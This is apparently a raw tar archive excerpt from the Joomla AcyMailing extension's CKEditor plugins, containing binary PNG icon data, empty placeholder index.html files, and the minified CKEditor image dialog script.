=��C�(k����AgOv|��I�&����#`��r4hӷ�E��&����X�%!!av�-}�|�ꕋ�{�qN)d2Q�;�͍g��-�@LT��m����t�6>-,�w�y��3�:;;����<���(��9,oT��Wb����ZZr8�K.w���|!"���Bt6�� ��}�r9�iX�=9���W`��Ȇ݆;&�j�,s���p� ?��騷-E�w���f�z��S�b�,Y�2=s&û��y<��{<O�����[Q�'����TF�WgZIEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/image/images/index.html000060400000000054152455305310030066 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/image/index.html000060400000000054152455305310026621 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/image/dialogs/index.html000060400000000054152455305310030243 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/image/dialogs/image.js000060400000050106152455305310027671 0ustar00(function(){var r=function(c,j){function r(){var a=arguments,b=this.getContentElement("advanced","txtdlgGenStyle");b&&b.commit.apply(b,a);this.foreach(function(b){b.commit&&"txtdlgGenStyle"!=b.id&&b.commit.apply(b,a)})}function i(a){if(!s){s=1;var b=this.getDialog(),d=b.imageElement;if(d){this.commit(f,d);for(var a=[].concat(a),e=a.length,c,g=0;g<e;g++)(c=b.getContentElement.apply(b,a[g].split(":")))&&c.setup(f,d)}s=0}}var f=1,k=/^\s*(\d+)((px)|\%)?\s*$/i,v=/(^\s*(\d+)((px)|\%)?\s*$)|^$/i,o=/^\d+px$/,
w=function(){var a=this.getValue(),b=this.getDialog(),d=a.match(k);d&&("%"==d[2]&&l(b,!1),a=d[1]);b.lockRatio&&(d=b.originalElement,"true"==d.getCustomData("isReady")&&("txtHeight"==this.id?(a&&"0"!=a&&(a=Math.round(d.$.width*(a/d.$.height))),isNaN(a)||b.setValueOf("info","txtWidth",a)):(a&&"0"!=a&&(a=Math.round(d.$.height*(a/d.$.width))),isNaN(a)||b.setValueOf("info","txtHeight",a))));g(b)},g=function(a){if(!a.originalElement||!a.preview)return 1;a.commitContent(4,a.preview);return 0},s,l=function(a,
b){if(!a.getContentElement("info","ratioLock"))return null;var d=a.originalElement;if(!d)return null;if("check"==b){if(!a.userlockRatio&&"true"==d.getCustomData("isReady")){var e=a.getValueOf("info","txtWidth"),c=a.getValueOf("info","txtHeight"),d=1E3*d.$.width/d.$.height,f=1E3*e/c;a.lockRatio=!1;!e&&!c?a.lockRatio=!0:!isNaN(d)&&!isNaN(f)&&Math.round(d)==Math.round(f)&&(a.lockRatio=!0)}}else void 0!==b?a.lockRatio=b:(a.userlockRatio=1,a.lockRatio=!a.lockRatio);e=CKEDITOR.document.getById(p);a.lockRatio?
e.removeClass("cke_btn_unlocked"):e.addClass("cke_btn_unlocked");e.setAttribute("aria-checked",a.lockRatio);CKEDITOR.env.hc&&e.getChild(0).setHtml(a.lockRatio?CKEDITOR.env.ie?"■":"▣":CKEDITOR.env.ie?"□":"▢");return a.lockRatio},x=function(a){var b=a.originalElement;if("true"==b.getCustomData("isReady")){var d=a.getContentElement("info","txtWidth"),e=a.getContentElement("info","txtHeight");d&&d.setValue(b.$.width);e&&e.setValue(b.$.height)}g(a)},y=function(a,b){function d(a,b){var d=a.match(k);return d?
("%"==d[2]&&(d[1]+="%",l(e,!1)),d[1]):b}if(a==f){var e=this.getDialog(),c="",g="txtWidth"==this.id?"width":"height",h=b.getAttribute(g);h&&(c=d(h,c));c=d(b.getStyle(g),c);this.setValue(c)}},t,q=function(){var a=this.originalElement,b=CKEDITOR.document.getById(m);a.setCustomData("isReady","true");a.removeListener("load",q);a.removeListener("error",h);a.removeListener("abort",h);b&&b.setStyle("display","none");this.dontResetSize||x(this);this.firstLoad&&CKEDITOR.tools.setTimeout(function(){l(this,"check")},
0,this);this.dontResetSize=this.firstLoad=!1;g(this)},h=function(){var a=this.originalElement,b=CKEDITOR.document.getById(m);a.removeListener("load",q);a.removeListener("error",h);a.removeListener("abort",h);a=CKEDITOR.getUrl(CKEDITOR.plugins.get("image").path+"images/noimage.png");this.preview&&this.preview.setAttribute("src",a);b&&b.setStyle("display","none");l(this,!1)},n=function(a){return CKEDITOR.tools.getNextId()+"_"+a},p=n("btnLockSizes"),u=n("btnResetSize"),m=n("ImagePreviewLoader"),A=n("previewLink"),
z=n("previewImage");return{title:c.lang.image["image"==j?"title":"titleButton"],minWidth:420,minHeight:360,onShow:function(){this.linkEditMode=this.imageEditMode=this.linkElement=this.imageElement=!1;this.lockRatio=!0;this.userlockRatio=0;this.dontResetSize=!1;this.firstLoad=!0;this.addLink=!1;var a=this.getParentEditor(),b=a.getSelection(),d=(b=b&&b.getSelectedElement())&&a.elementPath(b).contains("a",1),c=CKEDITOR.document.getById(m);c&&c.setStyle("display","none");t=new CKEDITOR.dom.element("img",
a.document);this.preview=CKEDITOR.document.getById(z);this.originalElement=a.document.createElement("img");this.originalElement.setAttribute("alt","");this.originalElement.setCustomData("isReady","false");if(d){this.linkElement=d;this.linkEditMode=!0;c=d.getChildren();if(1==c.count()){var g=c.getItem(0).getName();if("img"==g||"input"==g)this.imageElement=c.getItem(0),"img"==this.imageElement.getName()?this.imageEditMode="img":"input"==this.imageElement.getName()&&(this.imageEditMode="input")}"image"==
j&&this.setupContent(2,d)}if(this.customImageElement)this.imageEditMode="img",this.imageElement=this.customImageElement,delete this.customImageElement;else if(b&&"img"==b.getName()&&!b.data("cke-realelement")||b&&"input"==b.getName()&&"image"==b.getAttribute("type"))this.imageEditMode=b.getName(),this.imageElement=b;this.imageEditMode?(this.cleanImageElement=this.imageElement,this.imageElement=this.cleanImageElement.clone(!0,!0),this.setupContent(f,this.imageElement)):this.imageElement=a.document.createElement("img");
l(this,!0);CKEDITOR.tools.trim(this.getValueOf("info","txtUrl"))||(this.preview.removeAttribute("src"),this.preview.setStyle("display","none"))},onOk:function(){if(this.imageEditMode){var a=this.imageEditMode;"image"==j&&"input"==a&&confirm(c.lang.image.button2Img)?(this.imageElement=c.document.createElement("img"),this.imageElement.setAttribute("alt",""),c.insertElement(this.imageElement)):"image"!=j&&"img"==a&&confirm(c.lang.image.img2Button)?(this.imageElement=c.document.createElement("input"),
this.imageElement.setAttributes({type:"image",alt:""}),c.insertElement(this.imageElement)):(this.imageElement=this.cleanImageElement,delete this.cleanImageElement)}else"image"==j?this.imageElement=c.document.createElement("img"):(this.imageElement=c.document.createElement("input"),this.imageElement.setAttribute("type","image")),this.imageElement.setAttribute("alt","");this.linkEditMode||(this.linkElement=c.document.createElement("a"));this.commitContent(f,this.imageElement);this.commitContent(2,this.linkElement);
this.imageElement.getAttribute("style")||this.imageElement.removeAttribute("style");this.imageEditMode?!this.linkEditMode&&this.addLink?(c.insertElement(this.linkElement),this.imageElement.appendTo(this.linkElement)):this.linkEditMode&&!this.addLink&&(c.getSelection().selectElement(this.linkElement),c.insertElement(this.imageElement)):this.addLink?this.linkEditMode?c.insertElement(this.imageElement):(c.insertElement(this.linkElement),this.linkElement.append(this.imageElement,!1)):c.insertElement(this.imageElement)},
onLoad:function(){"image"!=j&&this.hidePage("Link");var a=this._.element.getDocument();this.getContentElement("info","ratioLock")&&(this.addFocusable(a.getById(u),5),this.addFocusable(a.getById(p),5));this.commitContent=r},onHide:function(){this.preview&&this.commitContent(8,this.preview);this.originalElement&&(this.originalElement.removeListener("load",q),this.originalElement.removeListener("error",h),this.originalElement.removeListener("abort",h),this.originalElement.remove(),this.originalElement=
!1);delete this.imageElement},contents:[{id:"info",label:c.lang.image.infoTab,accessKey:"I",elements:[{type:"vbox",padding:0,children:[{type:"hbox",widths:["280px","110px"],align:"right",children:[{id:"txtUrl",type:"text",label:c.lang.common.url,required:!0,onChange:function(){var a=this.getDialog(),b=this.getValue();if(0<b.length){var a=this.getDialog(),d=a.originalElement;a.preview&&a.preview.removeStyle("display");d.setCustomData("isReady","false");var c=CKEDITOR.document.getById(m);c&&c.setStyle("display",
"");d.on("load",q,a);d.on("error",h,a);d.on("abort",h,a);d.setAttribute("src",b);a.preview&&(t.setAttribute("src",b),a.preview.setAttribute("src",t.$.src),g(a))}else a.preview&&(a.preview.removeAttribute("src"),a.preview.setStyle("display","none"))},setup:function(a,b){if(a==f){var d=b.data("cke-saved-src")||b.getAttribute("src");this.getDialog().dontResetSize=!0;this.setValue(d);this.setInitValue()}},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())?(b.data("cke-saved-src",this.getValue()),
b.setAttribute("src",this.getValue())):8==a&&(b.setAttribute("src",""),b.removeAttribute("src"))},validate:CKEDITOR.dialog.validate.notEmpty(c.lang.image.urlMissing)},{type:"button",id:"browse",style:"display:inline-block;margin-top:14px;",align:"center",label:c.lang.common.browseServer,hidden:!0,filebrowser:"info:txtUrl"}]}]},{id:"txtAlt",type:"text",label:c.lang.image.alt,accessKey:"T","default":"",onChange:function(){g(this.getDialog())},setup:function(a,b){a==f&&this.setValue(b.getAttribute("alt"))},
commit:function(a,b){a==f?(this.getValue()||this.isChanged())&&b.setAttribute("alt",this.getValue()):4==a?b.setAttribute("alt",this.getValue()):8==a&&b.removeAttribute("alt")}},{type:"hbox",children:[{id:"basic",type:"vbox",children:[{type:"hbox",requiredContent:"img{width,height}",widths:["50%","50%"],children:[{type:"vbox",padding:1,children:[{type:"text",width:"45px",id:"txtWidth",label:c.lang.common.width,onKeyUp:w,onChange:function(){i.call(this,"advanced:txtdlgGenStyle")},validate:function(){var a=
this.getValue().match(v);(a=!!(a&&0!==parseInt(a[1],10)))||alert(c.lang.common.invalidWidth);return a},setup:y,commit:function(a,b,d){var e=this.getValue();a==f?(e&&c.activeFilter.check("img{width,height}")?b.setStyle("width",CKEDITOR.tools.cssLength(e)):b.removeStyle("width"),!d&&b.removeAttribute("width")):4==a?e.match(k)?b.setStyle("width",CKEDITOR.tools.cssLength(e)):(a=this.getDialog().originalElement,"true"==a.getCustomData("isReady")&&b.setStyle("width",a.$.width+"px")):8==a&&(b.removeAttribute("width"),
b.removeStyle("width"))}},{type:"text",id:"txtHeight",width:"45px",label:c.lang.common.height,onKeyUp:w,onChange:function(){i.call(this,"advanced:txtdlgGenStyle")},validate:function(){var a=this.getValue().match(v);(a=!!(a&&0!==parseInt(a[1],10)))||alert(c.lang.common.invalidHeight);return a},setup:y,commit:function(a,b,d){var e=this.getValue();a==f?(e&&c.activeFilter.check("img{width,height}")?b.setStyle("height",CKEDITOR.tools.cssLength(e)):b.removeStyle("height"),!d&&b.removeAttribute("height")):
4==a?e.match(k)?b.setStyle("height",CKEDITOR.tools.cssLength(e)):(a=this.getDialog().originalElement,"true"==a.getCustomData("isReady")&&b.setStyle("height",a.$.height+"px")):8==a&&(b.removeAttribute("height"),b.removeStyle("height"))}}]},{id:"ratioLock",type:"html",style:"margin-top:30px;width:40px;height:40px;",onLoad:function(){var a=CKEDITOR.document.getById(u),b=CKEDITOR.document.getById(p);a&&(a.on("click",function(a){x(this);a.data&&a.data.preventDefault()},this.getDialog()),a.on("mouseover",
function(){this.addClass("cke_btn_over")},a),a.on("mouseout",function(){this.removeClass("cke_btn_over")},a));b&&(b.on("click",function(a){l(this);var b=this.originalElement,c=this.getValueOf("info","txtWidth");if(b.getCustomData("isReady")=="true"&&c){b=b.$.height/b.$.width*c;if(!isNaN(b)){this.setValueOf("info","txtHeight",Math.round(b));g(this)}}a.data&&a.data.preventDefault()},this.getDialog()),b.on("mouseover",function(){this.addClass("cke_btn_over")},b),b.on("mouseout",function(){this.removeClass("cke_btn_over")},
b))},html:'<div><a href="javascript:void(0)" tabindex="-1" title="'+c.lang.image.lockRatio+'" class="cke_btn_locked" id="'+p+'" role="checkbox"><span class="cke_icon"></span><span class="cke_label">'+c.lang.image.lockRatio+'</span></a><a href="javascript:void(0)" tabindex="-1" title="'+c.lang.image.resetSize+'" class="cke_btn_reset" id="'+u+'" role="button"><span class="cke_label">'+c.lang.image.resetSize+"</span></a></div>"}]},{type:"vbox",padding:1,children:[{type:"text",id:"txtBorder",requiredContent:"img{border-width}",
width:"60px",label:c.lang.image.border,"default":"",onKeyUp:function(){g(this.getDialog())},onChange:function(){i.call(this,"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(c.lang.image.validateBorder),setup:function(a,b){if(a==f){var d;d=(d=(d=b.getStyle("border-width"))&&d.match(/^(\d+px)(?: \1 \1 \1)?$/))&&parseInt(d[1],10);isNaN(parseInt(d,10))&&(d=b.getAttribute("border"));this.setValue(d)}},commit:function(a,b,d){var c=parseInt(this.getValue(),10);a==f||4==a?(isNaN(c)?!c&&
this.isChanged()&&b.removeStyle("border"):(b.setStyle("border-width",CKEDITOR.tools.cssLength(c)),b.setStyle("border-style","solid")),!d&&a==f&&b.removeAttribute("border")):8==a&&(b.removeAttribute("border"),b.removeStyle("border-width"),b.removeStyle("border-style"),b.removeStyle("border-color"))}},{type:"text",id:"txtHSpace",requiredContent:"img{margin-left,margin-right}",width:"60px",label:c.lang.image.hSpace,"default":"",onKeyUp:function(){g(this.getDialog())},onChange:function(){i.call(this,
"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(c.lang.image.validateHSpace),setup:function(a,b){if(a==f){var d,c;d=b.getStyle("margin-left");c=b.getStyle("margin-right");d=d&&d.match(o);c=c&&c.match(o);d=parseInt(d,10);c=parseInt(c,10);d=d==c&&d;isNaN(parseInt(d,10))&&(d=b.getAttribute("hspace"));this.setValue(d)}},commit:function(a,b,d){var c=parseInt(this.getValue(),10);a==f||4==a?(isNaN(c)?!c&&this.isChanged()&&(b.removeStyle("margin-left"),b.removeStyle("margin-right")):
(b.setStyle("margin-left",CKEDITOR.tools.cssLength(c)),b.setStyle("margin-right",CKEDITOR.tools.cssLength(c))),!d&&a==f&&b.removeAttribute("hspace")):8==a&&(b.removeAttribute("hspace"),b.removeStyle("margin-left"),b.removeStyle("margin-right"))}},{type:"text",id:"txtVSpace",requiredContent:"img{margin-top,margin-bottom}",width:"60px",label:c.lang.image.vSpace,"default":"",onKeyUp:function(){g(this.getDialog())},onChange:function(){i.call(this,"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(c.lang.image.validateVSpace),
setup:function(a,b){if(a==f){var c,e;c=b.getStyle("margin-top");e=b.getStyle("margin-bottom");c=c&&c.match(o);e=e&&e.match(o);c=parseInt(c,10);e=parseInt(e,10);c=c==e&&c;isNaN(parseInt(c,10))&&(c=b.getAttribute("vspace"));this.setValue(c)}},commit:function(a,b,c){var e=parseInt(this.getValue(),10);a==f||4==a?(isNaN(e)?!e&&this.isChanged()&&(b.removeStyle("margin-top"),b.removeStyle("margin-bottom")):(b.setStyle("margin-top",CKEDITOR.tools.cssLength(e)),b.setStyle("margin-bottom",CKEDITOR.tools.cssLength(e))),
!c&&a==f&&b.removeAttribute("vspace")):8==a&&(b.removeAttribute("vspace"),b.removeStyle("margin-top"),b.removeStyle("margin-bottom"))}},{id:"cmbAlign",requiredContent:"img{float}",type:"select",widths:["35%","65%"],style:"width:90px",label:c.lang.common.align,"default":"",items:[[c.lang.common.notSet,""],[c.lang.common.alignLeft,"left"],[c.lang.common.alignRight,"right"]],onChange:function(){g(this.getDialog());i.call(this,"advanced:txtdlgGenStyle")},setup:function(a,b){if(a==f){var c=b.getStyle("float");
switch(c){case "inherit":case "none":c=""}!c&&(c=(b.getAttribute("align")||"").toLowerCase());this.setValue(c)}},commit:function(a,b,c){var e=this.getValue();if(a==f||4==a){if(e?b.setStyle("float",e):b.removeStyle("float"),!c&&a==f)switch(e=(b.getAttribute("align")||"").toLowerCase(),e){case "left":case "right":b.removeAttribute("align")}}else 8==a&&b.removeStyle("float")}}]}]},{type:"vbox",height:"250px",children:[{type:"html",id:"htmlPreview",style:"width:95%;",html:"<div>"+CKEDITOR.tools.htmlEncode(c.lang.common.preview)+
'<br><div id="'+m+'" class="ImagePreviewLoader" style="display:none"><div class="loading">&nbsp;</div></div><div class="ImagePreviewBox"><table><tr><td><a href="javascript:void(0)" target="_blank" onclick="return false;" id="'+A+'"><img id="'+z+'" alt="" /></a>'+(c.config.image_previewText||"Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas feugiat consequat diam. Maecenas metus. Vivamus diam purus, cursus a, commodo non, facilisis vitae, nulla. Aenean dictum lacinia tortor. Nunc iaculis, nibh non iaculis aliquam, orci felis euismod neque, sed ornare massa mauris sed velit. Nulla pretium mi et risus. Fusce mi pede, tempor id, cursus ac, ullamcorper nec, enim. Sed tortor. Curabitur molestie. Duis velit augue, condimentum at, ultrices a, luctus ut, orci. Donec pellentesque egestas eros. Integer cursus, augue in cursus faucibus, eros pede bibendum sem, in tempus tellus justo quis ligula. Etiam eget tortor. Vestibulum rutrum, est ut placerat elementum, lectus nisl aliquam velit, tempor aliquam eros nunc nonummy metus. In eros metus, gravida a, gravida sed, lobortis id, turpis. Ut ultrices, ipsum at venenatis fringilla, sem nulla lacinia tellus, eget aliquet turpis mauris non enim. Nam turpis. Suspendisse lacinia. Curabitur ac tortor ut ipsum egestas elementum. Nunc imperdiet gravida mauris.")+
"</td></tr></table></div></div>"}]}]}]},{id:"Link",requiredContent:"a[href]",label:c.lang.image.linkTab,padding:0,elements:[{id:"txtUrl",type:"text",label:c.lang.common.url,style:"width: 100%","default":"",setup:function(a,b){if(2==a){var c=b.data("cke-saved-href");c||(c=b.getAttribute("href"));this.setValue(c)}},commit:function(a,b){if(2==a&&(this.getValue()||this.isChanged())){var d=this.getValue();b.data("cke-saved-href",d);b.setAttribute("href",d);if(this.getValue()||!c.config.image_removeLinkByEmptyURL)this.getDialog().addLink=
!0}}},{type:"button",id:"browse",filebrowser:{action:"Browse",target:"Link:txtUrl",url:c.config.filebrowserImageBrowseLinkUrl},style:"float:right",hidden:!0,label:c.lang.common.browseServer},{id:"cmbTarget",type:"select",requiredContent:"a[target]",label:c.lang.common.target,"default":"",items:[[c.lang.common.notSet,""],[c.lang.common.targetNew,"_blank"],[c.lang.common.targetTop,"_top"],[c.lang.common.targetSelf,"_self"],[c.lang.common.targetParent,"_parent"]],setup:function(a,b){2==a&&this.setValue(b.getAttribute("target")||
"")},commit:function(a,b){2==a&&(this.getValue()||this.isChanged())&&b.setAttribute("target",this.getValue())}}]},{id:"Upload",hidden:!0,filebrowser:"uploadButton",label:c.lang.image.upload,elements:[{type:"file",id:"upload",label:c.lang.image.btnUpload,style:"height:40px",size:38},{type:"fileButton",id:"uploadButton",filebrowser:"info:txtUrl",label:c.lang.image.btnUpload,"for":["Upload","upload"]}]},{id:"advanced",label:c.lang.common.advancedTab,elements:[{type:"hbox",widths:["50%","25%","25%"],
children:[{type:"text",id:"linkId",requiredContent:"img[id]",label:c.lang.common.id,setup:function(a,b){a==f&&this.setValue(b.getAttribute("id"))},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("id",this.getValue())}},{id:"cmbLangDir",type:"select",requiredContent:"img[dir]",style:"width : 100px;",label:c.lang.common.langDir,"default":"",items:[[c.lang.common.notSet,""],[c.lang.common.langDirLtr,"ltr"],[c.lang.common.langDirRtl,"rtl"]],setup:function(a,b){a==f&&this.setValue(b.getAttribute("dir"))},
commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("dir",this.getValue())}},{type:"text",id:"txtLangCode",requiredContent:"img[lang]",label:c.lang.common.langCode,"default":"",setup:function(a,b){a==f&&this.setValue(b.getAttribute("lang"))},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("lang",this.getValue())}}]},{type:"text",id:"txtGenLongDescr",requiredContent:"img[longdesc]",label:c.lang.common.longDescr,setup:function(a,b){a==f&&this.setValue(b.getAttribute("longDesc"))},
commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("longDesc",this.getValue())}},{type:"hbox",widths:["50%","50%"],children:[{type:"text",id:"txtGenClass",requiredContent:"img(cke-xyz)",label:c.lang.common.cssClass,"default":"",setup:function(a,b){a==f&&this.setValue(b.getAttribute("class"))},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("class",this.getValue())}},{type:"text",id:"txtGenTitle",requiredContent:"img[title]",label:c.lang.common.advisoryTitle,
"default":"",onChange:function(){g(this.getDialog())},setup:function(a,b){a==f&&this.setValue(b.getAttribute("title"))},commit:function(a,b){a==f?(this.getValue()||this.isChanged())&&b.setAttribute("title",this.getValue()):4==a?b.setAttribute("title",this.getValue()):8==a&&b.removeAttribute("title")}}]},{type:"text",id:"txtdlgGenStyle",requiredContent:"img{cke-xyz}",label:c.lang.common.cssStyle,validate:CKEDITOR.dialog.validate.inlineStyle(c.lang.common.invalidInlineStyle),"default":"",setup:function(a,
b){if(a==f){var c=b.getAttribute("style");!c&&b.$.style.cssText&&(c=b.$.style.cssText);this.setValue(c);var e=b.$.style.height,c=b.$.style.width,e=(e?e:"").match(k),c=(c?c:"").match(k);this.attributesInStyle={height:!!e,width:!!c}}},onChange:function(){i.call(this,"info:cmbFloat info:cmbAlign info:txtVSpace info:txtHSpace info:txtBorder info:txtWidth info:txtHeight".split(" "));g(this)},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("style",this.getValue())}}]}]}};
CKEDITOR.dialog.add("image",function(c){return r(c,"image")});CKEDITOR.dialog.add("imagebutton",function(c){return r(c,"imagebutton")})})();
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/dialog/dialogDefinition.js000060400000000001152455305310030520 0ustar00com_acymailing
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/dialog/index.html000060400000000054152455305310026776 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/icons_hidpi.png000060400000102050152455305310026537 0ustar00�PNG


IHDR 	�N: IDATx��}wxՙ�{f�+�Z�eY�eY��e[n�60`l�Z�1֐l
�ݔ%�$aSX�	����BXZ�PӋm6�`��eK�z��N;�?f�ꖹU�K�}�y�{�)�6s��|���A2Hc`O��7\i6�]�_q�$��B�<�Х^'��{��C�a�կ|�$Ȕ�(J)B����4�|��χ��Q�ٻ�6)��]'F@�!�<dY��RH�Y�V���Rp�L&�X�̵��������ˡ�b��	x� @V+
�C �&�	�yyy�Z�0�LhinFMMM����_�„H��\��m�.(q�駟>���U����v��(�n�a�5׼��K_F����}��)��e#���Z�v�6l�����x<E�$A�y̝3������eY�L)D��BB`P	�
���J�I���<�>8'D@�"@)��f!d!"!���/���z��Z��	�B����_^y%i��u�a�t8���j����0A��� �g���b��3�TmB�N3�o�?��Z,�+W��0��ax�^���p���5>Ν!�%)���l�6����eY8L+/G^^$Q�(�yv�����/�4!�'w�ȗ%	T]	!������#�S�pX���R�QD
V+�P� (�p\��2?�R�$���$+�͠��s/��q �"���B�7o�SSS�={��n��;p��q~ll�A��8������&�eY���/���,j�����A~ӦMKu��k׮}ytt���BPJ�0g¢x����7r|�̧��W��$�uQ׿�5�֭[��AY
�kkKt���$QOB�eA��ѯx�a�RI��%m�*c��g��Ĭ�2�0Y,I������D^>����ɬ0>B`�ZS�%g��Ԕ��1###xb�V^/}f�$���|���`�Q,�$������܅��e�$����k�s�͑�Y�h��ju������eY�l6�ݘV^I� �"�� z��p���!�ws&@eY�?Z7X�p!�!$�5MP��@ ���\y��o��?�'�˙���W���P��h��"��������wߴe�J_IVvF>��cu� $���d�X,���}�w�p:
��B~�3J��g���}�$��!U���@����a(�>p?!doe0`��0` g|�H���
�hg[Q����ڥ혵��s�%	!��x`7�wT2�Ān٢E� �� 	��� I�x|0�` ��A�e۶�T�e��.�[����NX-8��f�|8`dd>�����uk�����	��5����o��n��AA �����_�n�<*�-���%-,��)�f��?�i�*��(�����K�������`����.��P��W�~Ӧ./<H���8�K�,Yj⸈4�to��2Kk��͚�.�����7?)+��A@ ���.EB>�
�M[%�bD~���՛o�!�$Վ�!��&7��v�$I�UUo_�!���[¢�i��P�>�����L��#tp&DQ�,����}���D�QTt���� ���-�tB�	�&��0{�rY���$ahx�Ρ��4O++si�p8�i��'�C��J`%C�x����F	!>���U��("
���r2��s"�0{vU.PE��k>�JWB}�3�l#��Œ��gY���r���l	dr�d�kָ��k:$B�].f�U�@8�ww�ܓ-��-�,*:K���������02<�ܝ-�t/�����fsD��!Zw �"�^�H)�)!��lI����Ov�󳨜RJ��0`��d'+v88�����@
�r(������6qݻHq�>[׃anmjn����������j/�B�������:O�!�tO�eC�,�����I�m��=B��,X��02ò�|��尓.2�.ojk�}UG#
"'�K�e0��`2�`2��e��=�����'D���.4��AF����f����Vn�7�����ى�Ǐ����9x� �E
�,<-�%�W/��̈�T,b�E�n�-F$�b�
�_�|�I�﹇��I�n�7\z�P��	���|P,.,|�(��uM���5�P��Q���!]�L,I����b����~��o�gY�L�Ve�3�)��)%$�����be#I��X,x�7��
��>�BOy����IUG�.��V_z��~����`YV9G�0�'�]]8��7(�BY|^�=�]gL�z{��۸�^^V��F��`,�ʼ ȃCC�� N����}���
tNRgM�R�ƶmۖ�{lM�-��42��eY� wuw��8y����;Ojm�G�ygE}f5X5�Xt�jkh��0Q��� I�Z���$�M�Q��R�d2��1�b*�0�ͰZ�����l0�L�8.��1�yy��aFFF�@ A��qqbJi1G��$륗^by��ܹ���χ���b��T8f�n7���
ő��!�0��$����}��̟��'��v�d2�R
������G��	!W���X���P�ҥK����H+��ށyϮ]��$����J�B�0!�iB���{��0wn�AShTVW']�0�+c��(����B��=�)CK3
�>}:�.�	H�4�5s&S]RŒ��\|��z{�R��P^�h/(*j,))�H���0���PU]=�Z_$OG����V���n�@�T�
� �"�N'�].8�2�1���1pf3v���ӄ��rj���a8a�f���8��s8����S��H�>���y�^�>��<'t����w�)��ǘݻv�eY��v��fŢ�e�ab��f_�p!���SbiQ�!w'+?�g��������g�a������������p:��>}:���䊊
l��&yzU���� ��KWO*�SJ��PJ����'��g�-E��rvd5�P6$ߘh�ϝ�U�h��0`���)$�r0��i��n���<8�'n��e��Жme�{C�嵍6t����ѣx������:�Y�m�ꎎ֙3g�to/�}����φ@���i]���j���Q;s&.^�n9g�mŸ$psv��K.�����
�`N��3f4 K$$�\�����# //�sN������ۚ��m�y�ڬV�|>`���/fK@OP�7���dYII[~~>,�f3�^/^~��=�0k�:��f�F�V###���ݵ��2k��𥆆�}eeem0��0�L�)��t:#�բf�{キ�턐L���SV766�+//o����q��&����ٵ{��E��l���-!x���͒$�!bI�c�b�L�r]q$����㤚S$���?~��r�<)���RSRRRϲl�o2@q���ϟO�"��&R�Y�e�ꎎV���sIUB�,QL���b��o�)�:P���@=n�nW*�Z��%��Q5!myyy����z��ΝoJ��:d�P�n�X���f�D��������}��w���<88�gxx�p�  ��ĒE�:|'���HI��D�Zf�̙W�8�P(2σ�໇n��lb�=�z���{$Ij+,,TtG��y
�����\qy9Xձ"�0p8��s�p���\Ow�.�����;�cx<Ȳ���ѣ��E3�x�ԩS�+**������<�*�#'J����5�f�N�#������Ϙ��e��o��U�T�Rj��n�������WL&өY�g�%R�VT���^W��He�f%W�SJߎ��*��O���ƶ�$�c���ArWW�$0�R�$��8��z�Ǒ�wJi�*���~�I���KӧO��n����/���KN�Kʛ6�-݄�f�P6k�dE�<q"�jK��Yۥ�S*������[%	�-���wSF@�=�##m���WR��{�SU�8��"ت���1��~6`��0`��BN�Ƀł��<D�0��G^�|�ѹ�~{j	�P���k��.����A;�4u-��(Ƙ[L�Ƅ"�]6�
�8.RL�V�0�H�������ٳ��z�#B���nx!���Iј,?��U��d�C-]bX,?޸aC��1����zk~����>��jLDI��Wd�8e��aV��-]�ac:��������z~�f�czee����E��ݚ��m�ڵ���P�`�##p=�u�س��l�C^���r����L�J��0���C�jL��Y�!k�Y��|𥆆�=�$�@�$�l6�:�60�L1��h�It%�MA�Z�И�ИL��$'1�ߏ���|�w<�iL^=z�h����A�B!X-��&[��1A��$gL��$gL��$g��11`��0`���7�� S��w$��a�#y,��q�1$��!�

�|�[�s�%(�V��I��%�J�����咠�&�EZi��M�P�vâ
$��O~��ϝ��/�P�v�0�ϟ�$i���|&�,�e�W�T�z�Gk2�L���&!��Lj	�&A���7]�c��rL���PD�
F�I��@$ز*�d��$	�,��- �i�L���D�MwG��g�A�̺@+0�.�ҫ�OR��4]��%�fҤ��.�W��.����@�AE0��>ڙY ��3�����:'�g�(qN��Ҏ����`(4*�] ��[�T��l�v\���&}�%@e�?��&u%K�r8�"�I�^/n��7rw�C�A�	Uc݂���_]YYGT�(���k_�rR�i	p,� ��Y�QYUu]�����@��P����V�gan^|�%��А�y�e���Ynu:�����8��9s��3�,>�g�Y�@Ұ㙸�����֥v�uiaA���l���N�:���Պ��|�̘y�|>�8y�s��s�23Y�����[;vl����YSS�r�`�$8�v�klD�3M������/n���$�w�-��£ή�3��奚kH��! ��T÷CG�e
����H�/S�^P��[o�y��G=~�!s��	���+��l���J_SS����a���?�H�z3!�2�#nJ����a7������l�f��Ⱬ�1G����s���h�:��<�r����E��8�'"Q��i�(Ř���T��s@�j*�0`��0��f��L(ҏv�@��Z�`�zG�p�BJ�h�<ԾdIcŴi(*.���(�����Ν�r(t#���T��{`�…����(r�122�޾>�ڽ�x�Z(����n�{����<�3Ò��"�y�y��ĉ�>LRyi^Q��^tQ�+/� (�5��ߏ'�yfx��߶1[��oܰ��j�""GD.�`�R���3�M����s7��,����a1�q������!B`z}����P�IjI�"'���0dQ��׷#������< ����>��Zݑ�q}]]/���=������Ѐİ�u���<�G���e2����pAl�������^Ab�ǹ%I���Яnߣ1�N�<I?ze��0�>
